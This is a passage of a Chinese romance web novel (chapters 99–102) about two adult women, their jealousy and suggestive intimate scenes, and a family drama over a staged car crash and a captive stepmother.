乔潇潇是自小跟着楚心柔的,姐姐从来都是淡然包容性很强的,不然也不会资助了一个又一个学生,可她的语气,怎么听都有点酸滋滋? 乔潇潇试探性地问:“姐姐,你是吃醋了么?” 楚心柔:…… 哪里有人这么直接问的。 可也就是因为直白,无端地掀起了楚心柔心底的火儿,她眸色一暗,突然伸手将人推倒在沙发上。乔潇潇猝不及防跌进柔软的靠垫里,还未回神,就见楚心柔倾身压来。 “如果我说是呢?” 带着茉莉香气的长发如瀑般垂落,扫过乔潇潇的脸颊。楚心柔修长的手指轻轻抚上她的脸,指尖带着微凉的触感,那双总是淡然的眸子此刻幽深如潭,直直望进乔潇潇眼底。 乔潇潇呼吸一滞。 她从未见过这样的楚心柔——强势的,带着侵略性的,将她完全笼罩在身下。 乔潇潇的心跳声大得仿佛要冲破胸腔,脸颊烧得滚烫。她无意识地攥紧沙发扶手,指尖微微发颤,声音细若蚊呐:“我……我对她没那个意思,就是当普通学妹……” 楚心柔眸色更深,修长的手指沿着乔潇潇的脸颊缓缓下滑,指尖若有似无地划过她的锁骨。乔潇潇浑身一颤,酥.麻感顺着脊椎直窜上来,慌忙捉住那只作乱的手,眼里已经泛起水雾:“姐姐……” “普通学妹?”楚心柔俯身凑近,温热的呼吸拂过乔潇潇的耳垂,“那请问乔学姐,你还有多少个这样的‘普通学妹’?” 杨绯棠那个坏东西早就明里暗里地提醒过她,乔潇潇在学校里人气有多高。那些追着要签名的学弟学妹,看她的眼神都闪着星星。虽然乔潇潇总是保持着恰到好处的距离,但那副温柔疏离的模样简直和年轻时的楚心柔如出一辙。 听别人说是一回事,亲眼所见又是另一回事。 楚心柔从未体验过如此汹涌的情绪。心底那团火灼烧得她心口发疼,酸涩与苦闷交织,让她刚才差点控制不住,就想揪着乔潇潇的耳朵把人拽到身边。 今天的楚心柔气场全开,妩媚中透着危险。乔潇潇偏过头,不敢直视她的眼睛,唇瓣轻抿着,只能软软地唤着:“姐姐……” 她一向是不欺骗楚心柔的。 可是……可是,乔学姐也不得不承认,她这样的学妹可真是不少,简直是能建立一个学妹社团了。 但这不正是姐姐教导她的吗? ——若有能力,就去多帮扶身边人。 楚心柔的指尖轻轻抬起乔潇潇的下巴,迫使她直视自己,似笑非笑地说:“她给你剥虾。” 什么? 乔潇潇愣了,这个细节,根本就没有入她的脑。 她这样迟钝的反应,显然不能让正憋着气的楚总满意。 乔潇潇猝不及防被翻了个身,像只被剥了壳的虾米般暴露在空气中。后背骤然一凉,衣摆被掀起时她浑身一颤:“姐姐!” 她下意识想要挣扎,却被楚心柔单手扣住手腕,牢牢按在沙发上,唇落在光洁的后背上,激起一阵战.栗。 那本该冰凉的吻,却像是带着火种,一寸寸点燃她的肌肤。 “别……”乔潇潇的声音带着轻颤,指尖无意识地揪紧了沙发垫。 楚心柔这次没打算轻易放过她。 既然给了机会不知道珍惜,总要让她长些记性,往后才能学会乖乖听话。 乔潇潇浑身发软,每一次轻触都让她呼吸更加紊乱。她像是坠入温柔的炼狱,明知道该逃,却又不自觉地沉沦其中。 当楚心柔的发梢扫过她敏感的腰窝时,乔潇潇终于控制不住地呜咽出声,整个人颤抖得像风中的落叶。 “想起来了么?”楚心柔停下动作,声音里带着危险的温柔。 乔潇潇四肢绵软无力,连指尖都抬不起来。她本是体育生出身,体能向来是她的骄傲,可此刻在楚心柔的攻势下,她竟连反抗的力气都没有,姐姐的吻像是带着魔力,所到之处便抽走了她全部的力量。 现在就是给她八百个胆儿,她也不敢再说想不起来了。 乔潇潇无力地点头,眼角都烧红了,湿漉漉的眼神可怜巴巴地望着楚心柔。 她已经认错了,姐姐总该放过她了吧? 可楚总不愧是最近都在集团里历练,收拾人的方法太多了,她挑了挑眉,盯着乔潇潇的眼睛:“居然想起来了?!” …… 一个小时后。 乔潇潇才两腿发软地被姐姐牵着走出办公室。 她一直低着头,不去看周围人的目光。 对于楚心柔和她的关系,青心的几个老员工心知肚明,但是都没有戳破。 boss办公室的隔音效果虽然很好,但是她们进去了这么半天,发生了什么不言而喻。 王宁岁数最大,见多识广,低着头整理文件,顺手给一直偷笑的袁璐一个脑瓜崩,小花在旁边偷偷看着乔潇潇,脖子都要跟长颈鹿似的伸出去了,也被王宁一把给按了回去。 不仅是她。 她们都没见过这样的乔潇潇。 怎么形容呢? 软绵绵被欺负了的小桃花? 连耳朵都是红的。 楚心柔倒是很淡定地牵着乔潇潇的手,回头看她那害羞的样子,勾了勾唇角,对王宁说:“大家辛苦了,点餐吧,我报销。” “万岁!” 大家都爱死了楚心柔的财大气粗,立即就把乔老板扔到脑后去了,红就红吧,她们顶楚总!!! 一直到了车上。 乔潇潇才好了点,她腿虽然没有力气,但是心跳已经恢复了正常,“姐姐,你不是很忙么?怎么回来了?” 楚心柔瞥了她一眼,冷哼了一声。 还用问么? 乔潇潇美滋滋地问:“能待几天?” 楚心柔:“后天就要回去。” “哦。” 乔潇潇明显失落了下来,楚心柔感觉到了,在过绿灯的时候,抬起手,抚了抚她的发:“快了,再等等。” 等凤依那边稳定了,她就回来好好的陪陪乔潇潇。 潇潇总是很好哄的,她知道姐姐的不容易,所以更能体谅她。 后天就走,时间更加宝贵,一向在别人面前言简意赅甚至有些高冷的乔总像是个翠鸟一样,小嘴巴巴地跟着姐姐说着最近的事儿,从青心的哪款产品卖爆了,到公司装修的怎么样,再到人力资源部挖来了哪个名设计师,最后,甚至连糯糯的事儿,她都一并叨叨给了姐姐。 “有一家叫风韵的影视公司,看到糯糯在vlog里的表现了,说想要请她去拍电影。” 楚心柔听了微微蹙眉,她认为太早步入娱乐圈不是好事儿,乔潇潇知道她的意思,在旁边补充:“我刚听到的时候也很反感,不同意,觉得糯糯太小了,可剧本真的很好,电影的名字就要《无声的世界》。” 楚心柔听明白了,她看了看乔潇潇:“是讲特殊人群的?” 乔潇潇点头,“嗯,我看着有点像是纪录片的形式一样,糯糯看了剧本也很心动,剧组虽然不大,资金有限,可我看妹妹那样就是零片酬出演,她也愿意。” 一个人是会影响很多人的。 曾经,乔潇潇羞赧地对姐姐说想要做一个为国争光的人,楚心柔勉励她不好觉得遥不可及,每个人只好做好自己的事儿影响哪怕是一个人,也叫争光,她影响了潇潇,而潇潇间接地影响了糯糯。 糯糯想要为这个群体发生,不是所有人,都像是她给幸运,能拥有姐姐,带她走出大山。 俩人这么一边聊一边说,到了家,已经快十点了。 乔潇潇动作利落地冲了个澡,知道姐姐舟车劳顿,便催着她去洗漱:“姐姐快去洗澡,行李我来收拾。” 楚心柔有轻微的洁癖,这是多年养成的习惯。每次出差回来,所有衣物都要清洗,行李也要分门别类归置妥当。乔潇潇对这些细节早已了然于心。 楚心柔没有立即动身,而是先走到乔潇潇身边,伸手环住了她的腰。她将脸轻轻贴在乔潇潇的脸颊上,像只慵懒的猫儿般蹭了蹭。 “累了?”乔潇潇心头一软,在她光洁的额头上落下一个轻吻。 “嗯。”楚心柔在她怀里放松下来,声音里带着倦意,“还是回家好。” 虽然在楚家什么都不缺,衣来伸手饭来张口,可没有乔潇潇在身边,总觉得少了些什么。 乔潇潇抱着姐姐温存了片刻,才把人送进浴室。 看着磨砂玻璃后隐约的身影,她忍不住傻笑起来,转身开始整理行李。 爱一个人,真的是不一样的。 乔潇潇嘴角噙着笑,将楚心柔的衣物一件件取出。指尖抚过带着姐姐气息的衣物时,心里像是浸了蜜糖般甜丝丝的。 直到—— 她在行李箱侧兜摸到一个鼓鼓囊囊的信封。乔潇潇的动作顿了一下,才缓缓地打开。 乔潇潇和楚心柔之间是没有什么秘密的,她这么给姐姐收拾行李好几年了。 刚开始,潇潇也单纯的以为是什么文件或者卡片。 下一秒,她的笑容凝固在脸上。 一沓照片如雪花般散落——清一色美少女,或清纯或妩媚或阳光小奶狗,每一张照片,都那么的青春靓丽呢。 【作者有话说】 二更来了~ 100 第100章 ◎楚心柔将下巴搁在她肩头,眼尾勾起一抹诱人的红:“要不……姐姐任你处置?”◎ 乔潇潇攥着那些照片,指尖发颤。每一张都像是一把淬了毒的锥子,狠狠扎进心窝,又搅动几下。 对于潇潇来说,这样嫉妒的情绪不是第一次了,早到她还没有意识到自己对姐姐的感情开始就有了,她不能忍受姐姐身边有任何有想法的人存在。 而如今……这些青春洋溢的面孔排山倒海般砸来,像打翻了一整坛窖藏多年的老醋,酸涩的液体从心口漫到喉*头,呛得她眼眶发热。 浴室的水声戛然而止。楚心柔裹着浴巾走出来时,发现卧室陷入一片昏暗,只有床头那盏鎏金台灯投下一圈暖黄光晕。 “困了么?” 往常再晚,潇潇都会等她的,俩人已经习惯相拥而眠了,哪怕是在楚家,明明是从小到大的家,可晚上楚心柔总会辗转许久,怎么都觉得缺点什么。 刚刚洗澡的时候,楚心柔心里也并不平静,自打俩人确定了感情之后,小来小去的亲吻有过不少,星星点点的都坠在了心底满是甜蜜,有时候,她开着会都会反复回味。 可此刻,乔潇潇侧卧在床上,只留给她一个僵硬的背影。 楚心柔没有多想,她知道潇潇的工作量,以为是太累了,拿起吹风机,准备吹头发。 乔潇潇却坐了起来,闷声说:“我给你吹。” 楚心柔看了她一眼,“怎么脸色这么难看?怎么了?” 这就是她的姐姐,无论何时何地,总是能第一时间捕捉乔潇潇的异常。 乔潇潇没吱声,打开了吹风机,热风嗡嗡作响,指尖穿过潮湿的发丝。熟悉的茉莉花香萦绕鼻尖,这本该是最令她安心的时刻,可心底的荆棘却疯长得快要刺破胸膛。 楚心柔从镜中捕捉到身后人通红的眼眶,抿紧了唇线。 是这么久的分别让她们生疏了吗? 楚心柔哪儿知道自己被二小姐给暗算了,一直到头发吹干了,乔潇潇也没吱声,闷头躺进了被窝里。 楚心柔盯着她的背影看了一会儿,掀开被子,钻了进去,从后面抱住了潇潇,“到底怎么了?” 潇潇有心事,她也睡不好。 这声轻叹裹着夜色的温柔,尾音微微上扬,明显是在哄她。 乔潇潇突然就红了眼眶,那些在心底发酵多时的酸楚决堤而出,她委屈地说:“我看到了。” 短短四个字,被她咬得支离破碎。 她别过脸去,下颌线绷得发紧。 看到什么? 楚心柔愣了愣,不明所以。 这下,乔潇潇忍受不了了,她一下子坐了起来,“啪”地一声,伸手把灯拍亮了,将抽屉里的信封递给了楚心柔:“收拾行李的时候无意看见的。” 说着,乔潇潇偏了偏头,不去看楚心柔。 楚心柔在看到信封的瞬间,瞳孔骤然收缩,这个东西怎么会出现在这里? 大脑飞速运转,楚心柔连忙解释:“这不是我放的,这是凤依放的。” 乔潇潇不吭声,心底的委屈更甚。 二小姐放的?要不是姐姐许可,她敢放么? “潇潇……”楚心柔看她当真了,也不免着急,两手捧着她的脸颊:“你不相信我么?” 乔潇潇直直望进她眼底,问得一字一顿:“你之前看过这些照片么?” 楚心柔:…… 姐姐短暂的沉默,已经是所有的回答了。 乔潇潇的眼圈泛红,盯着她的眼睛,问:“哪款是你喜欢的?” 她是真的生气了。 她想念了这么久,姐姐才回来,结果回来就给她扔了这么一个大礼包,谁能受得了? 楚心柔是最看不了乔潇潇受委屈的,她轻轻地叹了口气,倾身上前,指尖抚上乔潇潇的后颈,将两人的距离拉近到呼吸可闻:“潇潇,这是之前凤依说是新人育苗计划要培养的艺人,她拿来给我看,我没有放在心上,她给放包里了。” 这解释合情合理,可乔潇潇此刻什么都听不进去。那些青春洋溢的笑脸在她眼前不断闪回,理智早已被酸涩的浪潮冲得七零八落,她只挤出了一句:“培养的挺好,都很好看。” 说着,乔潇潇转过了身,不再理会楚心柔。 这大概是俩人认识这么久以来,她第一次对姐姐生气吧。 乔潇潇知道自己不该这样,理智在耳边叫嚣着姐姐的为人,那些照片里的人再明艳动人,也绝不可能撼动她们之间分毫。可嫉妒已然缠住心脏,将她拖入幽暗深渊。 她将自己蜷缩成小小一团,那些深埋心底的自厌情绪又翻涌而上——她们多阳光啊,多明媚啊,不像自己,骨子里都浸着阴郁。 乔潇潇正要将自己溺毙在酸涩的情绪里,身后却突然覆上一片温软。楚心柔的双臂如春藤般缠上来,带着夜色的温柔将她环住。 “是姐姐不好……”楚心柔温柔的宠溺在耳畔化开,温热的唇瓣若有似无地擦过她发烫的耳垂,“我们潇潇要怎样才肯消气?” 乔潇潇的身子僵硬如石,消不了气,她这几天怎么都不会好过了。 看她不理自己。 纤纤玉指顺着睡裙下摆游走,在腰间敏感处打着圈,楚心柔将下巴搁在她肩头,眼尾勾起一抹诱人的红:“要不……姐姐任你处置?” 最后一个字化作气音,在乔潇潇心尖炸开,她的呼吸一滞,再也控制不住了。 任她处置是么? 好! 乔潇潇从十五岁就被楚心柔带回了家。 现在的她,已经十九岁,马上就二十岁了。 五年的时光,她早就不是当初那个低着头遇事就缩在角落里的小女孩了。 她对姐姐的渴望也不是一天两天了。 她一直在忍,忍了许久许久,“照片”事件让积蓄多年的欲念如决堤洪水,瞬间冲垮所有理智的堤坝。 楚心柔还未来得及反应,就被按倒在柔软的床褥间。 乔潇潇的吻不再是以往那般小心翼翼,而是带着汹涌的气势,一手扣住姐姐的手腕压在枕边,一手沿着脊椎线条向上游走,每一寸触碰都引来身下人细微的战.栗。 “姐姐……”乔潇潇在瓷白的肌肤上烙下绯色印记,声音沙哑得不像话:“你只能是我的。” 楚心柔在她身下轻颤,向来从容的眸子里泛起迷离水光,“潇潇……” 姐姐那么香,那么软,最重要的是都是她的,独属于她一个人的。 楚心柔向来梳理得一丝不苟的长发铺散在枕上,有几缕黏在汗湿的颈侧。当乔潇潇的指尖挑开真丝睡裙的系带俯身向下的时候,楚心柔试图抓住最后一丝理智,“潇潇……等一下……” 不要这样。 她受不了。 等? 乔潇潇已经等了太久了,她再也不想等了。 窗外不知何时下起雨来,雨滴敲打着玻璃,却盖不过室内交错的喘息。 “姐姐,我想这样对你,想了好久了。” 这句话彻底击碎了最后一道防线。乔潇潇将脸埋了进去,那些在无数深夜独自演练过的亲密,此刻终于能名正言顺地付诸实践。 …… 窗外的雨声渐渐停歇,月光透过纱帘在凌乱的床单上投下斑驳光影。乔潇潇轻轻抚过楚心柔汗湿的额发,看着怀中人倦极而眠的容颜,胸口涌起难以言喻的满足感。 这夜的每一个细节都在脑海中清晰回放,当她生涩地探索时,楚心柔修长的十指是如何陷入她的发间;当她们终于合二为一时,姐姐眼角滑落的那滴泪又是怎样被她吻去。 之前,杨绯棠教过她,说很多老手第一次亲密接触都不一定成功。 一个是对对方的身体不熟悉,另一个是难免紧张局促,往往要尝试很多次才行。 可她们之间根本不需要任何技巧,光是五年朝夕相处的默契就足以让每一次触碰都恰到好处。 当她吻进姐姐时,楚心柔虽然紧张,但纤腰不自觉地拱起,指尖揉入她的发间,连颤抖的频率都与她同步。 姐姐,终于是她的了! 人世间,还有比彻底的拥有了爱人还美妙的事么? …… 楚心柔睡得本来就不踏实,在朦胧睡意中感受到细密的吻,像春日细雨般落在她的眉心、鼻尖,最后停留在微启的唇瓣上。她睫毛轻颤着睁开眼,正对上乔潇潇灼热的视线,她双臂撑在她耳侧,发丝垂了下来。 “醒了?”乔潇潇的声音带着事后的沙哑,指尖已经撩开她散乱的衣领。 楚心柔心头一跳,急忙闭眼装睡,却听见头顶传来一声轻笑。乔潇潇温热的掌心抚上她发烫的脸颊,“姐姐,你现在装睡是不是太晚了?” 她被迫睁开眼时,乔潇潇的唇已经覆了上来。 楚心柔终于体会到杨绯棠当初被折腾时的滋味,浑身骨头像是被拆散重组,连指尖都泛着酸软。从前看她扶着腰嗔怪的模样还觉得夸张,现在自己亲历才知其中有多煎熬。 乔潇潇很喜欢掐住楚心柔的细腰,这样,无论她怎么的闷哼,怎么的折腾,都没有办法逃离自己的掌控。 “潇、潇潇……”破碎的求饶被炙热的吻封住,乔潇潇像是品尝甜点般反复感受,当楚心柔受不住想要逃开时,总会被掐住腰拖回原处,连啜泣都被吞下。 年轻人啊。 哪里知道什么节制。 如果二小姐知道自己塞的照片会起到这样的作用,怕是肠子都要悔青了。 一向早上雷打不动六点起床的乔潇潇破天荒的睡到十点,而她起来的时候,第一反应是去看旁边的姐姐,楚心柔向来精致的长发蓬乱地铺了满枕,露在蚕丝被外的肩颈布满暧昧红痕,嘴唇都肿了。 乔潇潇无比的满足,低头吻了吻姐姐,穿着拖鞋起身去洗漱。 才简单的收拾完,乔潇潇拖鞋刚踏进客厅,斗地主的背景音就突兀地闯进耳朵。 杨绯棠翘着二郎腿坐在真皮沙发上,面前摆着早已凉透的小笼包和三杯空掉的咖啡。她抬腕看了看表,红唇勾起戏谑的弧度:“我们乔总这是把晨练改到室内了?” 她目光意有所指地扫过乔潇潇锁骨处的抓痕。 啧啧,看来昨晚挺激烈啊。 “心柔呢?” 杨绯棠明知故问却还要确定,乔潇潇跟自家姐姐也不藏着掖着,她活动了一下脖颈,笑眯眯地说:“还睡呢。” 杨绯棠问:“还得睡多久?” 不是这次就能待两天么? “估计得睡到明天早上。” 杨绯棠:…… 她放下手机,无语地看着乔潇潇,她以前怎么没看出这人这么能吹牛皮呢? 乔潇潇忙乎了一晚上,已经饿的前胸给后背了,她快速走到杨绯棠身边,拿起筷子就开始吃小笼包。 “慢点吃,又没人跟你抢。”杨绯棠支着下巴,目光扫过她微微发抖的手腕,突然笑得意味深长:“哟,这手还挺稳?” 她记得自己第一次当攻的时候,筷子都拿不住了。 乔潇潇吃的头也不抬:“没用手。” 一句话把杨绯棠震撼到了,她不可思议地重复着:“没用……手?” 那心柔就起不来床了? 乔潇潇的嘴都要咧到耳朵后面去了,“要是用手,姐姐怕是三天都下不了床,下次的。” 杨绯棠正要接话,余光却瞥见卧室门口那道扶着墙的纤影。她眼底闪过狡黠的光,故意拖长声调:“看来我们潇潇昨晚是奠定家里一把手的地位了。” “对,翻身做主人了!”乔潇潇挺直腰杆,指尖在餐桌敲出胜利的节奏,“以后这个家我说了算,姐姐得乖乖听我的。”她挑眉看着杨绯棠,简直要上天了:“杨姐姐,你对着一家之主可得有点眼力价。” 【作者有话说】 来啦来啦,还有人等吗? 这章不辜负你们哦[捂脸偷看] 100-110 101 第101章 ◎楚心柔对乔潇潇的纵容,近乎毫无保留。◎ 楚心柔真的是把潇潇惯坏了,杨绯棠看着她明明已经迈出小脚脚了,却在听到乔潇潇狂上天的“一家之主”的发言之后,唇角微微上扬,眉眼间尽是宠溺无奈的笑,她对上杨绯棠的目光,抬起手,放在唇间比划了一声“嘘”,又退了回去。 杨绯棠:…… 这一刻,她是羡慕潇潇的。 这要是放在薛总身上,皮都给她扒了。 楚心柔对于乔潇潇的宠溺,不是暂时的,是一直都有的。 以至于明天一早就要坐飞机离开,当乔潇潇倾身压来时,楚心柔只是微微颤了颤睫毛,随即张开双臂,将那份重量与温度全数接纳。 潇潇迷失在这具熟悉又陌生的躯体里,姐姐的肌肤泛着珍珠般的光泽,指尖划过时像抚过最上等的丝绸。她看着身下人修长的脖颈扬起优美的弧度,那双总是温柔的眼睛此刻氤氲着水汽,在克制与放纵间浮沉。 交缠的呼吸里,楚心柔的指尖深深陷入她的后颈,像抓住救命的浮木,又像推拒着最后的理智。 在情潮翻涌的至高点,乔潇潇忽然扣住姐姐的手腕按在枕边。她感受着掌心里急促的脉搏,带着得逞的笑意含住那泛红的耳垂:“你要乖。” 气音里裹着未尽的话语,随着起伏的节奏碎在交叠的体温里。 是个恶劣的坏孩子。 楚心柔对乔潇潇的纵容,近乎毫无保留。 她的潇潇啊,前半生实在太过辛苦。 那些承诺,从不是随口说说的漂亮话,也不仅仅是转瞬即逝的念头。 楚心柔对自己发过誓的,要让潇潇的后半生充满快乐,她要弥补她前半生缺失的所有欢愉。 按照往日的习惯,乔潇潇没有去送别楚心柔。但这一次,不舍的情绪格外强烈。她的眼眶微微泛红,心底却被前所未有的满足感填满。 被爱人全心全意地珍视,这种感觉是如此不同。 只是,她仍忍不住为姐姐担忧。 楚家那边,真的能轻易解决吗? 姐姐一定是怕她担心,才把话说得那么轻松。若当真如此简单,当初又怎会一次次被打入深渊? 有时候,心有灵犀的默契,是这世间最微妙的奇迹。 楚心柔的飞机刚刚落地,手机便急促地震动起来。电话那头,楚凤依的声音带着难以克制的颤抖:“姐妈妈被爸爸找到了。” 楚云疾毕竟在商界叱咤风云多年。 瘦死的骆驼比马大。 他若铁了心要找一个人,便是掘地三尺也要把人挖出来。更何况,许可晴至今仍是他法律上的妻子。 楚云疾的手段雷厉风行,不留丝毫余地。他直接将许可晴变卖珠宝、离家出走的事栽赃给了许可晴身边的小白脸,强行把人带了回去。 等待许可晴的是什么,不言而喻。 当楚凤依跌跌撞撞冲回家时,想要见妈妈,却听见楚云疾冷岑岑地一句:“你放心,死不了。” 到底是她女儿的妈妈,就是再多的背叛,再大的伤害,他也会留她一条命。 楚心柔终究看不下去,径直推开了楚云疾书房的门。 檀香缭绕中,楚云疾正慢条斯理地品着茶。他抬眸扫了眼楚心柔,指尖轻轻敲击着紫檀木桌面:“你早就知道,许可晴不是你亲生母亲。” 楚心柔唇线紧绷:“现在说这个,有意义么?” 佛珠在楚云疾掌中缓缓转动,他眼神平静得可怕:“怎么没意义?你既然能查到她的身份,就没想过查查当年那场车祸的真相?” 这句话宛如惊雷炸响,让楚心柔浑身一颤。 不是没想过查。 是不敢查。 许可晴虽非生母,却是将她抚育成人的“母亲”。这份养育之恩,让她的恨意始终裹挟着说不清道不明的眷恋。 最早有记忆的时候,楚心柔也像是别的孩子一样,眷恋妈妈,她喜欢抱着许可晴的大腿,仰头看着她,一声一声地叫“妈妈。” 有楚云疾在的时候,许可晴总是答的亲密,有时候还会直接蹲下来抱住她亲几口。 可一旦楚云疾不在,她就会推开楚心柔,十分冷淡:“你是楚家的女儿,要学会独立。” 或许正是这样日复一日的推拒,在楚心柔心上刻下了一道道看不见的伤痕。 那些被拒绝的瞬间,那些渴望温暖却换来冷漠的时刻,最终都化作了她如今骨子里的疏离与清冷。 楚云疾轻啜了一口茶,目光如炬地注视着沉默的女儿:“还要继续问下去吗?” 楚心柔深吸一口气,目光坚定地迎上父亲的视线,缓缓点头。 她必须问清楚。 即便不是为了自己,也要为妹妹求个明白。 楚云疾仿佛能洞悉她所有心思,背着手踱到窗前。楚心柔望着父亲稳健的步伐,瞳孔微缩。那双这一段时间都在拄拐的腿,此刻竟行动自如。 “我老了。”楚云疾望着窗外,声音里带着几分疲惫,“厌倦了家族里永无止境的争斗。本想尽快了结这一切,奈何人心不足……” 他佯装生病,不过是要引蛇出洞。让那些蛰伏在暗处的眼睛全都浮出水面,更借此机会逼一直不肯归家的大女儿回来,让姐妹二人联手应对。 明暗相济,这场清洗,自然事半功倍。 早晚也要面对这一切。 早晚也要做这个抉择。 楚云疾转过身,目光如刀锋般锐利地刺向楚心柔:“车祸的第二个月,我就查得一清二楚。她以为天衣无缝?”他嘴角勾起一抹冷笑,“就她那点脑子,也配?” 那轻蔑的语气让楚心柔如坠冰窟。 父亲竟用这般漫不经心的口吻,谈论那个毁掉妹妹一生的噩梦?那个她一辈子都笼罩在阴影中的“意外”? 楚云疾并非没有愤怒过。 当真相水落石出时,他几乎要亲手了结那个女人。但最终,他还是选择了隐忍。因为许可晴背后站着的,是他的亲弟弟楚云鹏——楚信集团的第二大股东。 权衡利弊后,他选择了蛰伏。 集团利益,永远凌驾于个人情感之上。 如今,许可晴已成一枚废子。楚云疾趁着弟弟楚云鹏将全部注意力都放在两个侄女身上时,不动声色地蚕食了他的股份,将其根基连根拔起。 这场持续多年的暗战,终于到了收网时刻,也是时候,该选定真正的继承人了。 楚云疾摩挲着手中的紫砂茶盏,眼底闪过一丝阴鸷。他从不相信有人能抵挡滔天权势的诱惑,即便是自己的亲生女儿。在他眼中,大女儿当年远走,与其说是因“愧疚”与“痛苦”,不如说是一场精心算计的明哲保身。 茶汤微凉,映出他冷峻的倒影。权力游戏里,从来就没有纯粹的亲情。 楚云疾凝视着楚心柔的双眼,指尖轻叩桌面,一字一顿道:“你口中所谓的妈妈——许可晴,当年那场车祸真正要撞死的,是你。” 这句话像一柄利刃,精准刺入楚心柔的心脏。 命运却开了个残酷的玩笑。 谁都不曾料到,当时年仅八岁的楚凤依竟会爆发出惊人的力量,在千钧一发之际将姐姐推开。这个始料未及的变数,彻底打乱了许可晴精心布置的杀局。 楚心柔的指尖深深掐进掌心,那些被刻意尘封的记忆碎片如利刃般破土而出。时光精心缝合的伤口被粗暴撕裂,鲜血顺着记忆的纹路蜿蜒而下,染红了一切。 所以……应该失去腿的人,本来是她对么? 是因为她,凤依才会如此的? …… 楚心柔在地下室看到许可晴的时候,她已经奄奄一息地蜷缩在地,那身素雅的旗袍上浸染着斑驳血迹,脸上布满淤青,双眼肿胀得几乎睁不开。 阴冷的地面上,许可晴像条丧家犬般蜷缩在角落。粗重的铁链深深勒进她浮肿的脚踝,在苍白的皮肤上烙下紫红的淤痕。浑浊的积水浸透了她昂贵的真丝睡裙,散乱的发丝间还粘着残妆。 楚心柔站在台阶上,看着这个曾经光鲜亮丽的女人,如今像块破抹布般被扔在污水里。 “心……心柔?”沙哑的嗓音突然响起。许可晴艰难地仰起头,浑浊的瞳孔在看清来人后骤然迸发出光彩。她拖着铁链拼命向前爬行,污水溅在她扭曲的脸上:“女儿……救救妈妈……” 楚云疾简直是丧心病狂把她关在这里。 她要出去! 她要报复! 楚心柔一步步走下台阶,那颗早已千疮百孔的心,此刻竟麻木得感受不到丝毫痛楚。 许可晴的目光紧紧追随着她的身影。当看到楚心柔在自己面前缓缓蹲下,用那样平静的眼神注视着自己时,她最后一丝侥幸“啪”地碎裂了。刚刚还剧烈跳动的心脏突然沉到谷底,她望着楚心柔,出乎意料地平静道:“你都知道了?” 沉默在两人之间蔓延。 对视良久,许可晴忽然轻轻摇头,嘴角扯出一抹苦笑:“想不到……他竟真的舍得。” 他既然告诉了楚心柔,就是真的把她们娘俩当做弃子了。 楚心柔望着许可晴的眼睛,声音轻得像是随时会消散在风里:“是真的么?” 此刻她多希望许可晴能否认,哪怕只是骗她也好。 可压抑已久装了大半辈子的许可晴早已不愿再伪装。她伏在地上,发出一阵令人毛骨悚然的冷笑:“没错,都是我做的。” 既然楚云疾毁了她的人生,她就要毁掉他最珍视的一切。 楚心柔感到一阵窒息,胸口像是压着千斤巨石:“你就这么……恨不得我死?” “是你命大。”许可晴别过脸,不去看她的眼睛,“那么多次,都是你活下来了。” 楚心柔几乎不能呼吸,“你就是真的下手,就不能选凤依不在的时候么?” 嘴角的伤口,在一点点流血,感受到了血腥的味道,许可晴的眼神发狠:“本来我算好了一切的,算好了一切的……是凤依,那她傻,把你当亲姐姐,是她傻……” 她倒是想要选只有楚心柔一个人在的时候,可楚云疾也不是个傻子,一直都安排着人保护着楚心柔,如果不是楚凤依突然要闹着出去玩,她们临时起意,也不会有这样的机会。 许可晴没有想要要楚心柔的命,只想要剥夺她永远没有办法继承的机会,可她机关算尽,却唯独遗漏了亲生女儿。 凤依的腿没了之后,她比谁都痛苦,发疯一样捶打着自己。 可有用么?木已成舟。 害人终究是害己。 可许可晴始终想不明白。她将满腔恨意加倍倾泻在楚心柔身上,恨楚云疾,恨整个楚家,是她们毁了她和女儿的一生。 …… “咚咚咚。” 门扉被轻轻叩响。 楚云疾缓缓转动真皮座椅,低沉道:“进来。” 楚凤依拖着疲惫的身躯走进书房。这些天她四处寻找母亲的下落,苦苦哀求父亲,却始终杳无音信。当阿森通知她楚云疾要见她时,楚凤依匆匆就赶过来了,以为跟许可晴有关。 然而现实总是残酷的。 楚云疾拿起遥控器,指尖轻点。墙面上的显示屏亮起,地下室监控画面清晰呈现。 “自己看吧。” 画面中,许可晴与楚心柔的身影逐渐清晰。 楚凤依颤抖着抬起头,瞳孔骤然收缩。 许可晴披头散发地缩在地上,双眼布满血丝,整个人散发着癫狂的气息。她死死盯着楚心柔,声音嘶哑:“那天被压在车底下的,本该是你!” 她比谁都清楚,楚云疾不会再给她活路。 也明白自己已经一败涂地,既然楚云疾让楚心柔来见她,就意味着继承人的位置早已尘埃落定。 在这最后时刻,她唯一能做的,就是在楚心柔心里种下永远的刺。 让她永远亏欠凤依。 “你以为……你害的只有凤依吗?” 反正已经是最后一次了,再没有什么机会了。 许可晴诡异地笑了起来,她往楚心柔的方向爬了爬,每个字都像淬了毒:“你那个从未见过的亲生母亲……也是因你而死的啊。” 在这一点上,她到要感谢楚心柔了。 是她杀死了楚云疾那个冷血丧尽天良的男人的挚爱。 总是楚云疾全是滔天翻手为云覆手为雨又如何,终究挽不回心上人的性命,难产羊水栓塞而死。 许可晴的话像一把钝刀,缓慢而残忍地凌迟着她的灵魂。 楚心柔能清晰感觉到,自己正被这些话语一点点肢解,先是四肢,然后是躯干,最后连心脏都被剜了出来,她看着笑的扭曲的许可晴,苍白的嘴唇轻轻颤抖:“是吗妈妈” 一声“妈妈”狠狠地戳进了许可晴的心里,她狰狞的笑瞬间凝固,扭曲的面容出现了一瞬的空白。 【作者有话说】 当初叶子设计大纲的时候,首先设计的是楚家,前面也逐渐写了一些钩子,想不到,101章了已经。 102 第102章 ◎她伸出手,掌心向上,把生的希望给了楚心柔。◎ 这一声“妈妈”于许可晴来说真是久违了。 很小的时候,楚心柔很喜欢追着她,一声声奶声奶气的“妈妈”叫着,那时候,楚心柔长得特别好看,是那种浑身带着奶香,白皙大眼睛的好看,带出去都要被围观一下的。 楚心柔很缠着她,一次次被她推开,还会一次次抱住她的腿。 许可晴都硬着心肠不去看她,唯有一次,她主动抱住了楚心柔。 那是三岁的时候,小心柔发了高烧,医生给吃了药打了针,稍微好一点,却还是不退烧。 那几天,正好是亡妻的忌日,楚云疾总感觉心里不安,集团的事儿扔下了,在家里陪着大女儿。 他在,许可晴就不得不戴起“慈母”的伪装,衣不解带地照顾着楚心柔。 楚心柔的小脸烧的苍白,嘴上起皮了,迷迷糊糊的一阵一阵昏睡,可只要她睁开眼睛,看见许可晴就对她露出甜甜的笑,滚烫的小手牢牢攥着她的衣袖。 